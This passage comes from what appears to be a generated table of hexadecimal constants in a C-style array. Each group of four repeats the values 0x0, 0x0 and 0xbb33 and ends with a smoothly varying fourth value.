0x0, 0x0, 0xbb33, 0x4ddd, 0x0, 0x0, 0xbb33, 0x4d6e,
0x0, 0x0, 0xbb33, 0x4d0e, 0x0, 0x0, 0xbb33, 0x4cba,
0x0, 0x0, 0xbb33, 0x4c71, 0x0, 0x0, 0xbb33, 0x4c30,
0x0, 0x0, 0xbb33, 0x4bec, 0x0, 0x0, 0xbb33, 0x4b83,
0x0, 0x0, 0xbb33, 0x4b25, 0x0, 0x0, 0xbb33, 0x4ad0,
0x0, 0x0, 0xbb33, 0x4a82, 0x0, 0x0, 0xbb33, 0x4a3b,
0x0, 0x0, 0xbb33, 0x49fa, 0x0, 0x0, 0xbb33, 0x49be,
0x0, 0x0, 0xbb33, 0x4986, 0x0, 0x0, 0xbb33, 0x4952,
0x0, 0x0, 0xbb33, 0x4922, 0x0, 0x0, 0xbb33, 0x48f5,
0x0, 0x0, 0xbb33, 0x48cc, 0x0, 0x0, 0xbb33, 0x48a4,
0x0, 0x0, 0xbb33, 0x4880, 0x0, 0x0, 0xbb33, 0x485d,
0x0, 0x0, 0xbb33, 0x483c, 0x0, 0x0, 0xbb33, 0x481e,
0x0, 0x0, 0xbb33, 0x4800, 0x0, 0x0, 0xbb33, 0x47ca,
0x0, 0x0, 0xbb33, 0x4796, 0x0, 0x0, 0xbb33, 0x4764,
0x0, 0x0, 0xbb33, 0x4735, 0x0, 0x0, 0xbb33, 0x4708,
0x0, 0x0, 0xbb33, 0x46dd, 0x0, 0x0, 0xbb33, 0x46b4,
0x0, 0x0, 0xbb33, 0x468d, 0x0, 0x0, 0xbb33, 0x4668,
0x0, 0x0, 0xbb33, 0x4644, 0x0, 0x0, 0xbb33, 0x4622,
0x0, 0x0, 0xbb33, 0x4601, 0x0, 0x0, 0xbb33, 0x45e1,
0x0, 0x0, 0xbb33, 0x45c3, 0x0, 0x0, 0xbb33, 0x45a6,
0x0, 0x0, 0xbb33, 0x458a, 0x0, 0x0, 0xbb33, 0x456f,
0x0, 0x0, 0xbb33, 0x4555, 0x0, 0x0, 0xbb33, 0x453c,
0x0, 0x0, 0xbb33, 0x4524, 0x0, 0x0, 0xbb33, 0x450c,
0x0, 0x0, 0xbb33, 0x44f6, 0x0, 0x0, 0xbb33, 0x44e0,
0x0, 0x0, 0xbb33, 0x44cb, 0x0, 0x0, 0xbb33, 0x44b7,
0x0, 0x0, 0xbb33, 0x44a3, 0x0, 0x0, 0xbb33, 0x4490,
0x0, 0x0, 0xbb33, 0x447d, 0x0, 0x0, 0xbb33, 0x446b,
0x0, 0x0, 0xbb33, 0x445a, 0x0, 0x0, 0xbb33, 0x4449,
0x0, 0x0, 0xbb33, 0x4438, 0x0, 0x0, 0xbb33, 0x4428,
0x0, 0x0, 0xbb33, 0x4419, 0x0, 0x0, 0xbb33, 0x4409,
0x0, 0x0, 0xbb33, 0x43f5, 0x0, 0x0, 0xbb33, 0x43d9,
0x0, 0x0, 0xbb33, 0x43bd, 0x0, 0x0, 0xbb33, 0x43a2,
0x0, 0x0, 0xbb33, 0x4387, 0x0, 0x0, 0xbb33, 0x436d,
0x0, 0x0, 0xbb33, 0x4354, 0x0, 0x0, 0xbb33, 0x433c,
0x0, 0x0, 0xbb33, 0x4324, 0x0, 0x0, 0xbb33, 0x430c,
0x0, 0x0, 0xbb33, 0x42f6, 0x0, 0x0, 0xbb33, 0x42df,
0x0, 0x0, 0xbb33, 0x42c9, 0x0, 0x0, 0xbb33, 0x42b4,
0x0, 0x0, 0xbb33, 0x429f, 0x0, 0x0, 0xbb33, 0x428b,
0x0, 0x0, 0xbb33, 0x4277, 0x0, 0x0, 0xbb33, 0x4264,
0x0, 0x0, 0xbb33, 0x4251, 0x0, 0x0, 0xbb33, 0x423e,
0x0, 0x0, 0xbb33, 0x422c, 0x0, 0x0, 0xbb33, 0x421a,
0x0, 0x0, 0xbb33, 0x4209, 0x0, 0x0, 0xbb33, 0x41f7,
0x0, 0x0, 0xbb33, 0x41e7, 0x0, 0x0, 0xbb33, 0x41d6,
0x0, 0x0, 0xbb33, 0x41c6, 0x0, 0x0, 0xbb33, 0x41b6,
0x0, 0x0, 0xbb33, 0x41a7, 0x0, 0x0, 0xbb33, 0x4198,
0x0, 0x0, 0xbb33, 0x4189, 0x0, 0x0, 0xbb33, 0x417a,
0x0, 0x0, 0xbb33, 0x416c, 0x0, 0x0, 0xbb33, 0x415e,
0x0, 0x0, 0xbb33, 0x4150, 0x0, 0x0, 0xbb33, 0x4142,
0x0, 0x0, 0xbb33, 0x4135, 0x0, 0x0, 0xbb33, 0x4128,
0x0, 0x0, 0xbb33, 0x411b, 0x0, 0x0, 0xbb33, 0x410e,
0x0, 0x0, 0xbb33, 0x4102, 0x0, 0x0, 0xbb33, 0x40f5,
0x0, 0x0, 0xbb33, 0x40e9, 0x0, 0x0, 0xbb33, 0x40de,
0x0, 0x0, 0xbb33, 0x40d2, 0x0, 0x0, 0xbb33, 0x40c6,
0x0, 0x0, 0xbb33, 0x40bb, 0x0, 0x0, 0xbb33, 0x40b0,
0x0, 0x0, 0xbb33, 0x40a5, 0x0, 0x0, 0xbb33, 0x409a,
0x0, 0x0, 0xbb33, 0x4090, 0x0, 0x0, 0xbb33, 0x4085,
0x0, 0x0, 0xbb33, 0x407b, 0x0, 0x0, 0xbb33, 0x4071,
0x0, 0x0, 0xbb33, 0x4067, 0x0, 0x0, 0xbb33, 0x405d,
0x0, 0x0, 0xbb33, 0x4054, 0x0, 0x0, 0xbb33, 0x404a,
0x0, 0x0, 0xbb33, 0x4041, 0x0, 0x0, 0xbb33, 0x4038,
0x0, 0x0, 0xbb33, 0x402e, 0x0, 0x0, 0xbb33, 0x4025,
0x0, 0x0, 0xbb33, 0x401d, 0x0, 0x0, 0xbb33, 0x4014,
0x0, 0x0, 0xbb33, 0x400b, 0x0, 0x0, 0xbb33, 0x4003,
0x0, 0x0, 0xbb33, 0x3ff5, 0x0, 0x0, 0xbb33, 0x3fe4,
0x0, 0x0, 0xbb33, 0x3fd4, 0x0, 0x0, 0xbb33, 0x3fc4,
0x0, 0x0, 0xbb33, 0x3fb4, 0x0, 0x0, 0xbb33, 0x3fa4,
0x0, 0x0, 0xbb33, 0x3f95, 0x0, 0x0, 0xbb33, 0x3f86,
0x0, 0x0, 0xbb33, 0x3f77, 0x0, 0x0, 0xbb33, 0x3f68,
0x0, 0x0, 0xbb33, 0x3f59, 0x0, 0x0, 0xbb33, 0x3f4a,
0x0, 0x0, 0xbb33, 0x3f3c, 0x0, 0x0, 0xbb33, 0x3f2e,
0x0, 0x0, 0xbb33, 0x3f20, 0x0, 0x0, 0xbb33, 0x3f12,
0x0, 0x0, 0xbb33, 0x3f04, 0x0, 0x0, 0xbb33, 0x3ef7,
0x0, 0x0, 0xbb33, 0x3eea, 0x0, 0x0, 0xbb33, 0x3edc,
0x0, 0x0, 0xbb33, 0x3ecf, 0x0, 0x0, 0xbb33, 0x3ec3,
0x0, 0x0, 0xbb33, 0x3eb6, 0x0, 0x0, 0xbb33, 0x3ea9,
0x0, 0x0, 0xbb33, 0x3e9d, 0x0, 0x0, 0xbb33, 0x3e91,
0x0, 0x0, 0xbb33, 0x3e84, 0x0, 0x0, 0xbb33, 0x3e78,
0x0, 0x0, 0xbb33, 0x3e6c, 0x0, 0x0, 0xbb33, 0x3e61,
0x0, 0x0, 0xbb33, 0x3e55, 0x0, 0x0, 0xbb33, 0x3e4a,
0x0, 0x0, 0xbb33, 0x3e3e, 0x0, 0x0, 0xbb33, 0x3e33,
0x0, 0x0, 0xbb33, 0x3e28, 0x0, 0x0, 0xbb33, 0x3e1d,
0x0, 0x0, 0xbb33, 0x3e12, 0x0, 0x0, 0xbb33, 0x3e07,
0x0, 0x0, 0xbb33, 0x3dfc, 0x0, 0x0, 0xbb33, 0x3df2,
0x0, 0x0, 0xbb33, 0x3de7, 0x0, 0x0, 0xbb33, 0x3ddd,
0x0, 0x0, 0xbb33, 0x3dd3, 0x0, 0x0, 0xbb33, 0x3dc8,
0x0, 0x0, 0xbb33, 0x3dbe, 0x0, 0x0, 0xbb33, 0x3db4,
0x0, 0x0, 0xbb33, 0x3daa, 0x0, 0x0, 0xbb33, 0x3da1,
0x0, 0x0, 0xbb33, 0x3d97, 0x0, 0x0, 0xbb33, 0x3d8d,
0x0, 0x0, 0xbb33, 0x3d84, 0x0, 0x0, 0xbb33, 0x3d7a,
0x0, 0x0, 0xbb33, 0x3d71, 0x0, 0x0, 0xbb33, 0x3d68,
0x0, 0x0, 0xbb33, 0x3d5f, 0x0, 0x0, 0xbb33, 0x3d56,
0x0, 0x0, 0xbb33, 0x3d4d, 0x0, 0x0, 0xbb33, 0x3d44,
0x0, 0x0, 0xbb33, 0x3d3b, 0x0, 0x0, 0xbb33, 0x3d32,
0x0, 0x0, 0xbb33, 0x3d29, 0x0, 0x0, 0xbb33, 0x3d21,
0x0, 0x0, 0xbb33, 0x3d18, 0x0, 0x0, 0xbb33, 0x3d10,
0x0, 0x0, 0xbb33, 0x3d07, 0x0, 0x0, 0xbb33, 0x3cff,
0x0, 0x0, 0xbb33, 0x3cf7, 0x0, 0x0, 0xbb33, 0x3cef,
0x0, 0x0, 0xbb33, 0x3ce7, 0x0, 0x0, 0xbb33, 0x3cdf,
0x0, 0x0, 0xbb33, 0x3cd7, 0x0, 0x0, 0xbb33, 0x3ccf,
0x0, 0x0, 0xbb33, 0x3cc7, 0x0, 0x0, 0xbb33, 0x3cbf,
0x0, 0x0, 0xbb33, 0x3cb7, 0x0, 0x0, 0xbb33, 0x3cb0,
0x0, 0x0, 0xbb33, 0x3ca8, 0x0, 0x0, 0xbb33, 0x3ca1,
0x0, 0x0, 0xbb33, 0x3c99, 0x0, 0x0, 0xbb33, 0x3c92,
0x0, 0x0, 0xbb33, 0x3c8a, 0x0, 0x0, 0xbb33, 0x3c83,
0x0, 0x0, 0xbb33, 0x3c7c, 0x0, 0x0, 0xbb33, 0x3c75,
0x0, 0x0, 0xbb33, 0x3c6e, 0x0, 0x0, 0xbb33, 0x3c66,
0x0, 0x0, 0xbb33, 0x3c5f, 0x0, 0x0, 0xbb33, 0x3c58,
0x0, 0x0, 0xbb33, 0x3c52, 0x0, 0x0, 0xbb33, 0x3c4b,
0x0, 0x0, 0xbb33, 0x3c44, 0x0, 0x0, 0xbb33, 0x3c3d,
0x0, 0x0, 0xbb33, 0x3c36, 0x0, 0x0, 0xbb33, 0x3c30,
0x0, 0x0, 0xbb33, 0x3c29, 0x0, 0x0, 0xbb33, 0x3c23,
0x0, 0x0, 0xbb33, 0x3c1c, 0x0, 0x0, 0xbb33, 0x3c15,
0x0, 0x0, 0xbb33, 0x3c0f, 0x0, 0x0, 0xbb33, 0x3c09,
0x0, 0x0, 0xbb33, 0x3c02, 0x0, 0x0, 0xbb33, 0x3bf8,
0x0, 0x0, 0xbb33, 0x3beb, 0x0, 0x0, 0xbb33, 0x3bdf,
0x0, 0x0, 0xbb33, 0x3bd3, 0x0, 0x0, 0xbb33, 0x3bc6,
0x0, 0x0, 0xbb33, 0x3bba, 0x0, 0x0, 0xbb33, 0x3bae,
0x0, 0x0, 0xbb33, 0x3ba2, 0x0, 0x0, 0xbb33, 0x3b96,
0x0, 0x0, 0xbb33, 0x3b8a, 0x0, 0x0, 0xbb33, 0x3b7e,
0x0, 0x0, 0xbb33, 0x3b72, 0x0, 0x0, 0xbb33, 0x3b67,
0x0, 0x0, 0xbb33, 0x3b5b, 0x0, 0x0, 0xbb33, 0x3b50,
0x0, 0x0, 0xbb33, 0x3b44, 0x0, 0x0, 0xbb33, 0x3b39,
0x0, 0x0, 0xbb33, 0x3b2e, 0x0, 0x0, 0xbb33, 0x3b22,
0x0, 0x0, 0xbb33, 0x3b17, 0x0, 0x0, 0xbb33, 0x3b0c,
0x0, 0x0, 0xbb33, 0x3b01, 0x0, 0x0, 0xbb33, 0x3af6,
0x0, 0x0, 0xbb33, 0x3aeb, 0x0, 0x0, 0xbb33, 0x3ae0,
0x0, 0x0, 0xbb33, 0x3ad5, 0x0, 0x0, 0xbb33, 0x3acb,
0x0, 0x0, 0xbb33, 0x3ac0, 0x0, 0x0, 0xbb33, 0x3ab6,
0x0, 0x0, 0xbb33, 0x3aab, 0x0, 0x0, 0xbb33, 0x3aa1,
0x0, 0x0, 0xbb33, 0x3a96, 0x0, 0x0, 0xbb33, 0x3a8c,
0x0, 0x0, 0xbb33, 0x3a81, 0x0, 0x0, 0xbb33, 0x3a77,
0x0, 0x0, 0xbb33, 0x3a6d, 0x0, 0x0, 0xbb33, 0x3a63,
0x0, 0x0, 0xbb33, 0x3a59, 0x0, 0x0, 0xbb33, 0x3a4f,
0x0, 0x0, 0xbb33, 0x3a45, 0x0, 0x0, 0xbb33, 0x3a3b,
0x0, 0x0, 0xbb33, 0x3a31, 0x0, 0x0, 0xbb33, 0x3a27,
0x0, 0x0, 0xbb33, 0x3a1d, 0x0, 0x0, 0xbb33, 0x3a14,
0x0, 0x0, 0xbb33, 0x3a0a, 0x0, 0x0, 0xbb33, 0x3a00,
0x0, 0x0, 0xbb33, 0x39f7, 0x0, 0x0, 0xbb33, 0x39ed,
0x0, 0x0, 0xbb33, 0x39e4, 0x0, 0x0, 0xbb33, 0x39db,
0x0, 0x0, 0xbb33, 0x39d1, 0x0, 0x0, 0xbb33, 0x39c8,
0x0, 0x0, 0xbb33, 0x39bf, 0x0, 0x0, 0xbb33, 0x39b5,
0x0, 0x0, 0xbb33, 0x39ac, 0x0, 0x0, 0xbb33, 0x39a3,
0x0, 0x0, 0xbb33, 0x399a, 0x0, 0x0, 0xbb33, 0x3991,
0x0, 0x0, 0xbb33, 0x3988, 0x0, 0x0, 0xbb33, 0x397f,
0x0, 0x0, 0xbb33, 0x3976, 0x0, 0x0, 0xbb33, 0x396d,
0x0, 0x0, 0xbb33, 0x3964, 0x0, 0x0, 0xbb33, 0x395b,
0x0, 0x0, 0xbb33, 0x3953, 0x0, 0x0, 0xbb33, 0x394a,
0x0, 0x0, 0xbb33, 0x3941, 0x0, 0x0, 0xbb33, 0x3939,
0x0, 0x0, 0xbb33, 0x3930, 0x0, 0x0, 0xbb33, 0x3927,
0x0, 0x0, 0xbb33, 0x391f, 0x0, 0x0, 0xbb33, 0x3916,
0x0, 0x0, 0xbb33, 0x390e, 0x0, 0x0, 0xbb33, 0x3905,
0x0, 0x0, 0xbb33, 0x38fd, 0x0, 0x0, 0xbb33, 0x38f5,
0x0, 0x0, 0xbb33, 0x38ec, 0x0, 0x0, 0xbb33, 0x38e4,
0x0, 0x0, 0xbb33, 0x38dc, 0x0, 0x0, 0xbb33, 0x38d4,
0x0, 0x0, 0xbb33, 0x38cc, 0x0, 0x0, 0xbb33, 0x38c3,
0x0, 0x0, 0xbb33, 0x38bb, 0x0, 0x0, 0xbb33, 0x38b3,
0x0, 0x0, 0xbb33, 0x38ab, 0x0, 0x0, 0xbb33, 0x38a3,
0x0, 0x0, 0xbb33, 0x389b, 0x0, 0x0, 0xbb33, 0x3893,
0x0, 0x0, 0xbb33, 0x388b, 0x0, 0x0, 0xbb33, 0x3883,
0x0, 0x0, 0xbb33, 0x387b, 0x0, 0x0, 0xbb33, 0x3874,
0x0, 0x0, 0xbb33, 0x386c, 0x0, 0x0, 0xbb33, 0x3864,
0x0, 0x0, 0xbb33, 0x385c, 0x0, 0x0, 0xbb33, 0x3855,
0x0, 0x0, 0xbb33, 0x384d, 0x0, 0x0, 0xbb33, 0x3845,
0x0, 0x0, 0xbb33, 0x383e, 0x0, 0x0, 0xbb33, 0x3836,
0x0, 0x0, 0xbb33, 0x382e, 0x0, 0x0, 0xbb33, 0x3827,
0x0, 0x0, 0xbb33, 0x381f, 0x0, 0x0, 0xbb33, 0x3818,
0x0, 0x0, 0xbb33, 0x3810, 0x0, 0x0, 0xbb33, 0x3809,
0x0, 0x0, 0xbb33, 0x3802, 0x0, 0x0, 0xbb33, 0x37f4,
0x0, 0x0, 0xbb33, 0x37e6, 0x0, 0x0, 0xbb33, 0x37d7,
0x0, 0x0, 0xbb33, 0x37c8, 0x0, 0x0, 0xbb33, 0x37ba,
0x0, 0x0, 0xbb33, 0x37ab, 0x0, 0x0, 0xbb33, 0x379d,
0x0, 0x0, 0xbb33, 0x378e, 0x0, 0x0, 0xbb33, 0x3780,
0x0, 0x0, 0xbb33, 0x3771, 0x0, 0x0, 0xbb33, 0x3763,
0x0, 0x0, 0xbb33, 0x3755, 0x0, 0x0, 0xbb33, 0x3747,
0x0, 0x0, 0xbb33, 0x3738, 0x0, 0x0, 0xbb33, 0x372a,
0x0, 0x0, 0xbb33, 0x371c, 0x0, 0x0, 0xbb33, 0x370e,
0x0, 0x0, 0xbb33, 0x3700, 0x0, 0x0, 0xbb33, 0x36f2,
0x0, 0x0, 0xbb33, 0x36e4, 0x0, 0x0, 0xbb33, 0x36d6,
0x0, 0x0, 0xbb33, 0x36c9, 0x0, 0x0, 0xbb33, 0x36bb,
0x0, 0x0, 0xbb33, 0x36ad, 0x0, 0x0, 0xbb33, 0x369f,
0x0, 0x0, 0xbb33, 0x3692, 0x0, 0x0, 0xbb33, 0x3684,
0x0, 0x0, 0xbb33, 0x3676, 0x0, 0x0, 0xbb33, 0x3669,
0x0, 0x0, 0xbb33, 0x365b, 0x0, 0x0, 0xbb33, 0x364e,
0x0, 0x0, 0xbb33, 0x3640, 0x0, 0x0, 0xbb33, 0x3633,
0x0, 0x0, 0xbb33, 0x3626, 0x0, 0x0, 0xbb33, 0x3618,
0x0, 0x0, 0xbb33, 0x360b, 0x0, 0x0, 0xbb33, 0x35fe,
0x0, 0x0, 0xbb33, 0x35f0, 0x0, 0x0, 0xbb33, 0x35e3,
0x0, 0x0, 0xbb33, 0x35d6, 0x0, 0x0, 0xbb33, 0x35c9,
0x0, 0x0, 0xbb33, 0x35bc, 0x0, 0x0, 0xbb33, 0x35af,
0x0, 0x0, 0xbb33, 0x35a2, 0x0, 0x0, 0xbb33, 0x3595,
0x0, 0x0, 0xbb33, 0x3588, 0x0, 0x0, 0xbb33, 0x357b,
0x0, 0x0, 0xbb33, 0x356e, 0x0, 0x0, 0xbb33, 0x3561,
0x0, 0x0, 0xbb33, 0x3554, 0x0, 0x0, 0xbb33, 0x3547,
0x0, 0x0, 0xbb33, 0x353a, 0x0, 0x0, 0xbb33, 0x352d,
0x0, 0x0, 0xbb33, 0x3521, 0x0, 0x0, 0xbb33, 0x3514,
0x0, 0x0, 0xbb33, 0x3507, 0x0, 0x0, 0xbb33, 0x34fb,
0x0, 0x0, 0xbb33, 0x34ee, 0x0, 0x0, 0xbb33, 0x34e1,
0x0, 0x0, 0xbb33, 0x34d5, 0x0, 0x0, 0xbb33, 0x34c8,
0x0, 0x0, 0xbb33, 0x34bc, 0x0, 0x0, 0xbb33, 0x34af,
0x0, 0x0, 0xbb33, 0x34a3, 0x0, 0x0, 0xbb33, 0x3496,
0x0, 0x0, 0xbb33, 0x348a, 0x0, 0x0, 0xbb33, 0x347d,
0x0, 0x0, 0xbb33, 0x3471, 0x0, 0x0, 0xbb33, 0x3464,
0x0, 0x0, 0xbb33, 0x3458, 0x0, 0x0, 0xbb33, 0x344c,
0x0, 0x0, 0xbb33, 0x343f, 0x0, 0x0, 0xbb33, 0x3433,
0x0, 0x0, 0xbb33, 0x3427, 0x0, 0x0, 0xbb33, 0x341b,
0x0, 0x0, 0xbb33, 0x340e, 0x0, 0x0, 0xbb33, 0x3402,
0x0, 0x0, 0xbb33, 0x33ec, 0x0, 0x0, 0xbb33, 0x33d4,
0x0, 0x0, 0xbb33, 0x33bc, 0x0, 0x0, 0xbb33, 0x33a3,
0x0, 0x0, 0xbb33, 0x338b, 0x0, 0x0, 0xbb33, 0x3373,
0x0, 0x0, 0xbb33, 0x335b, 0x0, 0x0, 0xbb33, 0x3343,
0x0, 0x0, 0xbb33, 0x332b, 0x0, 0x0, 0xbb33, 0x3313,
0x0, 0x0, 0xbb33, 0x32fb, 0x0, 0x0, 0xbb33, 0x32e3,
0x0, 0x0, 0xbb33, 0x32cb, 0x0, 0x0, 0xbb33, 0x32b3,
0x0, 0x0, 0xbb33, 0x329b, 0x0, 0x0, 0xbb33, 0x3284,
0x0, 0x0, 0xbb33, 0x326c, 0x0, 0x0, 0xbb33, 0x3254,
0x0, 0x0, 0xbb33, 0x323c, 0x0, 0x0, 0xbb33, 0x3225,
0x0, 0x0, 0xbb33, 0x320d, 0x0, 0x0, 0xbb33, 0x31f5,
0x0, 0x0, 0xbb33, 0x31de, 0x0, 0x0, 0xbb33, 0x31c6,
0x0, 0x0, 0xbb33, 0x31af, 0x0, 0x0, 0xbb33, 0x3197,
0x0, 0x0, 0xbb33, 0x3180, 0x0, 0x0, 0xbb33, 0x3168,
0x0, 0x0, 0xbb33, 0x3151, 0x0, 0x0, 0xbb33, 0x313a,
0x0, 0x0, 0xbb33, 0x3122, 0x0, 0x0, 0xbb33, 0x310b,
0x0, 0x0, 0xbb33, 0x30f4, 0x0, 0x0, 0xbb33, 0x30dc,
0x0, 0x0, 0xbb33, 0x30c5, 0x0, 0x0, 0xbb33, 0x30ae,
0x0, 0x0, 0xbb33, 0x3097, 0x0, 0x0, 0xbb33, 0x3080,
0x0, 0x0, 0xbb33, 0x3068, 0x0, 0x0, 0xbb33, 0x3051,
0x0, 0x0, 0xbb33, 0x303a, 0x0, 0x0, 0xbb33, 0x3023,
0x0, 0x0, 0xbb33, 0x300c, 0x0, 0x0, 0xbb33, 0x2fea,
0x0, 0x0, 0xbb33, 0x2fbc, 0x0, 0x0, 0xbb33, 0x2f8e,
0x0, 0x0, 0xbb33, 0x2f60, 0x0, 0x0, 0xbb33, 0x2f32,
0x0, 0x0, 0xbb33, 0x2f04, 0x0, 0x0, 0xbb33, 0x2ed6,
0x0, 0x0, 0xbb33, 0x2ea8, 0x0, 0x0, 0xbb33, 0x2e7a,
0x0, 0x0, 0xbb33, 0x2e4c, 0x0, 0x0, 0xbb33, 0x2e1f,
0x0, 0x0, 0xbb33, 0x2df1, 0x0, 0x0, 0xbb33, 0x2dc3,
0x0, 0x0, 0xbb33, 0x2d95, 0x0, 0x0, 0xbb33, 0x2d68,
0x0, 0x0, 0xbb33, 0x2d3a, 0x0, 0x0, 0xbb33, 0x2d0d,
0x0, 0x0, 0xbb33, 0x2cdf, 0x0, 0x0, 0xbb33, 0x2cb1,
0x0, 0x0, 0xbb33, 0x2c84, 0x0, 0x0, 0xbb33, 0x2c56,
0x0, 0x0, 0xbb33, 0x2c29, 0x0, 0x0, 0xbb33, 0x2bf7,
0x0, 0x0, 0xbb33, 0x2b9c, 0x0, 0x0, 0xbb33, 0x2b41,
0x0, 0x0, 0xbb33, 0x2ae6, 0x0, 0x0, 0xbb33, 0x2a8c,
0x0, 0x0, 0xbb33, 0x2a31, 0x0, 0x0, 0xbb33, 0x29d6,
0x0, 0x0, 0xbb33, 0x297b, 0x0, 0x0, 0xbb33, 0x2921,
0x0, 0x0, 0xbb33, 0x28c6, 0x0, 0x0, 0xbb33, 0x286c,
0x0, 0x0, 0xbb33, 0x2811, 0x0, 0x0, 0xbb33, 0x276d,
0x0, 0x0, 0xbb33, 0x26b8, 0x0, 0x0, 0xbb33, 0x2602,
0x0, 0x0, 0xbb33, 0x254d, 0x0, 0x0, 0xbb33, 0x2498,
0x0, 0x0, 0xbb33, 0x23c7, 0x0, 0x0, 0xbb33, 0x225d,
0x0, 0x0, 0xbb33, 0x20f3, 0x0, 0x0, 0xbb33, 0x1f12,
0x0, 0x0, 0xbb33, 0x1c3e, 0x0, 0x0, 0xbb33, 0x15a8,
0x0, 0x0, 0xbb33, 0x95a8, 0x0, 0x0, 0xbb33, 0x9c3e,
0x0, 0x0, 0xbb33, 0x9f12, 0x0, 0x0, 0xbb33, 0xa0f3,
0x0, 0x0, 0xbb33, 0xa25d, 0x0, 0x0, 0xbb33, 0xa3c7,
0x0, 0x0, 0xbb33, 0xa498, 0x0, 0x0, 0xbb33, 0xa54d,
0x0, 0x0, 0xbb33, 0xa602, 0x0, 0x0, 0xbb33, 0xa6b8,
0x0, 0x0, 0xbb33, 0xa76d, 0x0, 0x0, 0xbb33, 0xa811,
0x0, 0x0, 0xbb33, 0xa86c, 0x0, 0x0, 0xbb33, 0xa8c6,
0x0, 0x0, 0xbb33, 0xa921, 0x0, 0x0, 0xbb33, 0xa97b,
0x0, 0x0, 0xbb33, 0xa9d6, 0x0, 0x0, 0xbb33, 0xaa31,
0x0, 0x0, 0xbb33, 0xaa8c, 0x0, 0x0, 0xbb33, 0xaae6,
0x0, 0x0, 0xbb33, 0xab41, 0x0, 0x0, 0xbb33, 0xab9c,
0x0, 0x0, 0xbb33, 0xabf7, 0x0, 0x0, 0xbb33, 0xac29,
0x0, 0x0, 0xbb33, 0xac56, 0x0, 0x0, 0xbb33, 0xac84,
0x0, 0x0, 0xbb33, 0xacb1, 0x0, 0x0, 0xbb33, 0xacdf,
0x0, 0x0, 0xbb33, 0xad0d, 0x0, 0x0, 0xbb33, 0xad3a,
0x0, 0x0, 0xbb33, 0xad68, 0x0, 0x0, 0xbb33, 0xad95,
0x0, 0x0, 0xbb33, 0xadc3, 0x0, 0x0, 0xbb33, 0xadf1,
0x0, 0x0, 0xbb33, 0xae1f, 0x0, 0x0, 0xbb33, 0xae4c,
0x0, 0x0, 0xbb33, 0xae7a, 0x0, 0x0, 0xbb33, 0xaea8,
0x0, 0x0, 0xbb33, 0xaed6, 0x0, 0x0, 0xbb33, 0xaf04,
0x0, 0x0, 0xbb33, 0xaf32, 0x0, 0x0, 0xbb33, 0xaf60,
0x0, 0x0, 0xbb33, 0xaf8e, 0x0, 0x0, 0xbb33, 0xafbc,
0x0, 0x0, 0xbb33, 0xafea, 0x0, 0x0, 0xbb33, 0xb00c,
0x0, 0x0, 0xbb33, 0xb023, 0x0, 0x0, 0xbb33, 0xb03a,
0x0, 0x0, 0xbb33, 0xb051, 0x0, 0x0, 0xbb33, 0xb068,
0x0, 0x0, 0xbb33, 0xb080, 0x0, 0x0, 0xbb33, 0xb097,
0x0, 0x0, 0xbb33, 0xb0ae, 0x0, 0x0, 0xbb33, 0xb0c5,
0x0, 0x0, 0xbb33, 0xb0dc, 0x0, 0x0, 0xbb33, 0xb0f4,
0x0, 0x0, 0xbb33, 0xb10b, 0x0, 0x0, 0xbb33, 0xb122,
0x0, 0x0, 0xbb33, 0xb13a, 0x0, 0x0, 0xbb33, 0xb151,
0x0, 0x0, 0xbb33, 0xb168, 0x0, 0x0, 0xbb33, 0xb180,
0x0, 0x0, 0xbb33, 0xb197, 0x0, 0x0, 0xbb33, 0xb1af,
0x0, 0x0, 0xbb33, 0xb1c6, 0x0, 0x0, 0xbb33, 0xb1de,
0x0, 0x0, 0xbb33, 0xb1f5, 0x0, 0x0, 0xbb33, 0xb20d,
0x0, 0x0, 0xbb33, 0xb225, 0x0, 0x0, 0xbb33, 0xb23c,
0x0, 0x0, 0xbb33, 0xb254, 0x0, 0x0, 0xbb33, 0xb26c,
0x0, 0x0, 0xbb33, 0xb284, 0x0, 0x0, 0xbb33, 0xb29b,
0x0, 0x0, 0xbb33, 0xb2b3, 0x0, 0x0, 0xbb33, 0xb2cb,
0x0, 0x0, 0xbb33, 0xb2e3, 0x0, 0x0, 0xbb33, 0xb2fb,
0x0, 0x0, 0xbb33, 0xb313, 0x0, 0x0, 0xbb33, 0xb32b,
0x0, 0x0, 0xbb33, 0xb343, 0x0, 0x0, 0xbb33, 0xb35b,
0x0, 0x0, 0xbb33, 0xb373, 0x0, 0x0, 0xbb33, 0xb38b,
0x0, 0x0, 0xbb33, 0xb3a3, 0x0, 0x0, 0xbb33, 0xb3bc,
0x0, 0x0, 0xbb33, 0xb3d4, 0x0, 0x0, 0xbb33, 0xb3ec,
0x0, 0x0, 0xbb33, 0xb402, 0x0, 0x0, 0xbb33, 0xb40e,
0x0, 0x0, 0xbb33, 0xb41b, 0x0, 0x0, 0xbb33, 0xb427,
0x0, 0x0, 0xbb33, 0xb433, 0x0, 0x0, 0xbb33, 0xb43f,
0x0, 0x0, 0xbb33, 0xb44c, 0x0, 0x0, 0xbb33, 0xb458,
0x0, 0x0, 0xbb33, 0xb464, 0x0, 0x0, 0xbb33, 0xb471,
0x0, 0x0, 0xbb33, 0xb47d, 0x0, 0x0, 0xbb33, 0xb48a,
0x0, 0x0, 0xbb33, 0xb496, 0x0, 0x0, 0xbb33, 0xb4a3,
0x0, 0x0, 0xbb33, 0xb4af, 0x0, 0x0, 0xbb33, 0xb4bc,
0x0, 0x0, 0xbb33, 0xb4c8, 0x0, 0x0, 0xbb33, 0xb4d5,
0x0, 0x0, 0xbb33, 0xb4e1, 0x0, 0x0, 0xbb33, 0xb4ee,
0x0, 0x0, 0xbb33, 0xb4fb, 0x0, 0x0, 0xbb33, 0xb507,
0x0, 0x0, 0xbb33, 0xb514, 0x0, 0x0, 0xbb33, 0xb521,
0x0, 0x0, 0xbb33, 0xb52d, 0x0, 0x0, 0xbb33, 0xb53a,
0x0, 0x0, 0xbb33, 0xb547, 0x0, 0x0, 0xbb33, 0xb554,
0x0, 0x0, 0xbb33, 0xb561, 0x0, 0x0, 0xbb33, 0xb56e,
0x0, 0x0, 0xbb33, 0xb57b, 0x0, 0x0, 0xbb33, 0xb588,
0x0, 0x0, 0xbb33, 0xb595, 0x0, 0x0, 0xbb33, 0xb5a2,
0x0, 0x0, 0xbb33, 0xb5af, 0x0, 0x0, 0xbb33, 0xb5bc,
0x0, 0x0, 0xbb33, 0xb5c9, 0x0, 0x0, 0xbb33, 0xb5d6,
0x0, 0x0, 0xbb33, 0xb5e3, 0x0, 0x0, 0xbb33, 0xb5f0,
0x0, 0x0, 0xbb33, 0xb5fe, 0x0, 0x0, 0xbb33, 0xb60b,
